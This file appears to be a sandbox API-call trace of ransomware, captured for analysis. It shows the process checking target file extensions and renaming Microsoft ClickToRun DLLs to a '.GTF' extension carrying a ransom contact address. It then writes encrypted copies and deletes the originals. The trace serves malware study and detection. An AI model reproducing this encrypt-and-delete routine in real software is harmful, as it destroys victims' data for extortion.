	[0085.848] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.848] lstrlenW (lpString=".bz2") returned 4
	[0085.848] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.848] lstrlenW (lpString=".7z") returned 3
	[0085.848] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0085.849] lstrlenW (lpString=".dbf") returned 4
	[0085.849] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0085.849] lstrlenW (lpString=".1cd") returned 4
	[0085.849] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0085.849] lstrlenW (lpString=".jpg") returned 4
	[0085.849] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0085.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0085.849] lstrlenW (lpString=".doc") returned 4
	[0085.849] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.849] lstrlenW (lpString=".docx") returned 5
	[0085.849] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0085.849] lstrlenW (lpString=".pdf") returned 4
	[0085.849] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.849] lstrlenW (lpString=".xls") returned 4
	[0085.849] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.849] lstrlenW (lpString=".xlsx") returned 5
	[0085.849] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0085.849] lstrlenW (lpString=".ppt") returned 4
	[0085.849] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0085.849] lstrlenW (lpString=".zip") returned 4
	[0085.849] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.849] lstrlenW (lpString=".rar") returned 4
	[0085.849] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.849] lstrlenW (lpString=".bz2") returned 4
	[0085.849] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.849] lstrlenW (lpString=".7z") returned 3
	[0085.849] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0085.849] lstrlenW (lpString=".dbf") returned 4
	[0085.849] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0085.849] lstrlenW (lpString=".1cd") returned 4
	[0085.849] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0085.850] lstrlenW (lpString=".jpg") returned 4
	[0085.850] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.850] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0085.850] lstrlenW (lpString="AppVIntegration.dll") returned 19
	[0085.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0085.850] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=2118360) returned 1
	[0085.850] CloseHandle (hObject=0x39c) returned 1
	[0085.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0x20
	[0085.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.850] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 1
	[0085.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0085.851] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0085.851] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 1
	[0085.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0085.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0085.851] lstrlenW (lpString=".doc") returned 4
	[0085.851] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.851] lstrlenW (lpString=".docx") returned 5
	[0085.851] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0085.852] lstrlenW (lpString=".pdf") returned 4
	[0085.852] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.852] lstrlenW (lpString=".xls") returned 4
	[0085.852] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.852] lstrlenW (lpString=".xlsx") returned 5
	[0085.852] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0085.852] lstrlenW (lpString=".ppt") returned 4
	[0085.852] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0085.852] lstrlenW (lpString=".zip") returned 4
	[0085.852] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.852] lstrlenW (lpString=".rar") returned 4
	[0085.852] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.852] lstrlenW (lpString=".bz2") returned 4
	[0085.852] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.852] lstrlenW (lpString=".7z") returned 3
	[0085.852] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0085.852] lstrlenW (lpString=".dbf") returned 4
	[0085.852] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0085.852] lstrlenW (lpString=".1cd") returned 4
	[0085.852] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0085.852] lstrlenW (lpString=".jpg") returned 4
	[0085.852] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0085.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0085.852] lstrlenW (lpString=".doc") returned 4
	[0085.852] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.852] lstrlenW (lpString=".docx") returned 5
	[0085.852] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0085.852] lstrlenW (lpString=".pdf") returned 4
	[0085.852] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.852] lstrlenW (lpString=".xls") returned 4
	[0085.852] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.852] lstrlenW (lpString=".xlsx") returned 5
	[0085.853] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0085.853] lstrlenW (lpString=".ppt") returned 4
	[0085.853] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0085.853] lstrlenW (lpString=".zip") returned 4
	[0085.853] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.853] lstrlenW (lpString=".rar") returned 4
	[0085.853] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.853] lstrlenW (lpString=".bz2") returned 4
	[0085.853] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.853] lstrlenW (lpString=".7z") returned 3
	[0085.853] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0085.853] lstrlenW (lpString=".dbf") returned 4
	[0085.853] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0085.853] lstrlenW (lpString=".1cd") returned 4
	[0085.853] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0085.853] lstrlenW (lpString=".jpg") returned 4
	[0085.853] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.853] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0085.853] lstrlenW (lpString="AppVIsvApi.dll") returned 14
	[0085.853] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0085.853] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=468696) returned 1
	[0085.853] CloseHandle (hObject=0x39c) returned 1
	[0085.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll")) returned 0x20
	[0085.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0085.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0085.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0085.854] lstrlenW (lpString=".doc") returned 4
	[0085.854] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.854] lstrlenW (lpString=".docx") returned 5
	[0085.854] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0085.854] lstrlenW (lpString=".pdf") returned 4
	[0085.854] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.854] lstrlenW (lpString=".xls") returned 4
	[0085.854] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.854] lstrlenW (lpString=".xlsx") returned 5
	[0085.854] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0085.854] lstrlenW (lpString=".ppt") returned 4
	[0085.854] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0085.854] lstrlenW (lpString=".zip") returned 4
	[0085.854] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.854] lstrlenW (lpString=".rar") returned 4
	[0085.854] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.854] lstrlenW (lpString=".bz2") returned 4
	[0085.854] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.854] lstrlenW (lpString=".7z") returned 3
	[0085.854] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0085.854] lstrlenW (lpString=".dbf") returned 4
	[0085.854] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0085.855] lstrlenW (lpString=".1cd") returned 4
	[0085.855] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0085.855] lstrlenW (lpString=".jpg") returned 4
	[0085.855] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0085.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0085.855] lstrlenW (lpString=".doc") returned 4
	[0085.855] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.855] lstrlenW (lpString=".docx") returned 5
	[0085.855] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0085.855] lstrlenW (lpString=".pdf") returned 4
	[0085.855] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.855] lstrlenW (lpString=".xls") returned 4
	[0085.855] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.855] lstrlenW (lpString=".xlsx") returned 5
	[0085.855] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0085.855] lstrlenW (lpString=".ppt") returned 4
	[0085.855] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0085.855] lstrlenW (lpString=".zip") returned 4
	[0085.855] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.855] lstrlenW (lpString=".rar") returned 4
	[0085.855] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.855] lstrlenW (lpString=".bz2") returned 4
	[0085.855] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.855] lstrlenW (lpString=".7z") returned 3
	[0085.855] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0085.856] lstrlenW (lpString=".dbf") returned 4
	[0085.856] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0085.856] lstrlenW (lpString=".1cd") returned 4
	[0085.856] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0085.856] lstrlenW (lpString=".jpg") returned 4
	[0085.856] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.856] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0085.856] lstrlenW (lpString="AppvIsvStream32.dll") returned 19
	[0085.856] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0085.856] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=396960) returned 1
	[0085.856] CloseHandle (hObject=0x39c) returned 1
	[0085.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 0x20
	[0085.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0085.857] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.857] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0085.857] GetLastError () returned 0x0
	[0085.857] ReadFile (in: hFile=0x39c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x60ea0, lpOverlapped=0x0) returned 1
	[0085.865] WriteFile (in: hFile=0x360, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x60eb0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x60eb0, lpOverlapped=0x0) returned 1
	[0085.874] ReadFile (in: hFile=0x39c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.874] WriteFile (in: hFile=0x360, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xfa, lpOverlapped=0x0) returned 1
	[0085.874] SetEndOfFile (hFile=0x360) returned 1
	[0085.874] CloseHandle (hObject=0x360) returned 1
	[0085.874] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.874] SetEndOfFile (hFile=0x39c) returned 1
	[0086.071] CloseHandle (hObject=0x39c) returned 1
	[0086.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0086.073] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 1
	[0086.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0086.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0086.073] lstrlenW (lpString=".doc") returned 4
	[0086.073] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.073] lstrlenW (lpString=".docx") returned 5
	[0086.073] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0086.073] lstrlenW (lpString=".pdf") returned 4
	[0086.073] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.073] lstrlenW (lpString=".xls") returned 4
	[0086.073] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.073] lstrlenW (lpString=".xlsx") returned 5
	[0086.073] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1
	[0086.073] lstrlenW (lpString=".ppt") returned 4
	[0086.073] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0086.073] lstrlenW (lpString=".zip") returned 4
	[0086.073] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.073] lstrlenW (lpString=".rar") returned 4
	[0086.073] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.073] lstrlenW (lpString=".bz2") returned 4
	[0086.073] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.073] lstrlenW (lpString=".7z") returned 3
	[0086.073] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0086.074] lstrlenW (lpString=".dbf") returned 4
	[0086.074] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0086.074] lstrlenW (lpString=".1cd") returned 4
	[0086.074] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0086.074] lstrlenW (lpString=".jpg") returned 4
	[0086.074] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0086.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0086.074] lstrlenW (lpString=".doc") returned 4
	[0086.074] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.074] lstrlenW (lpString=".docx") returned 5
	[0086.074] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0086.074] lstrlenW (lpString=".pdf") returned 4
	[0086.074] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.074] lstrlenW (lpString=".xls") returned 4
	[0086.074] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.074] lstrlenW (lpString=".xlsx") returned 5
	[0086.074] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1
	[0086.074] lstrlenW (lpString=".ppt") returned 4
	[0086.074] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0086.074] lstrlenW (lpString=".zip") returned 4
	[0086.074] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.074] lstrlenW (lpString=".rar") returned 4
	[0086.074] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.074] lstrlenW (lpString=".bz2") returned 4
	[0086.074] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.074] lstrlenW (lpString=".7z") returned 3
	[0086.074] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0086.074] lstrlenW (lpString=".dbf") returned 4
	[0086.075] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0086.075] lstrlenW (lpString=".1cd") returned 4
	[0086.075] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0086.075] lstrlenW (lpString=".jpg") returned 4
	[0086.075] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.075] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0086.075] lstrlenW (lpString="AppVIsvVirtualization.dll") returned 25
	[0086.075] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0086.075] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=567512) returned 1
	[0086.075] CloseHandle (hObject=0x39c) returned 1
	[0086.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll")) returned 0x20
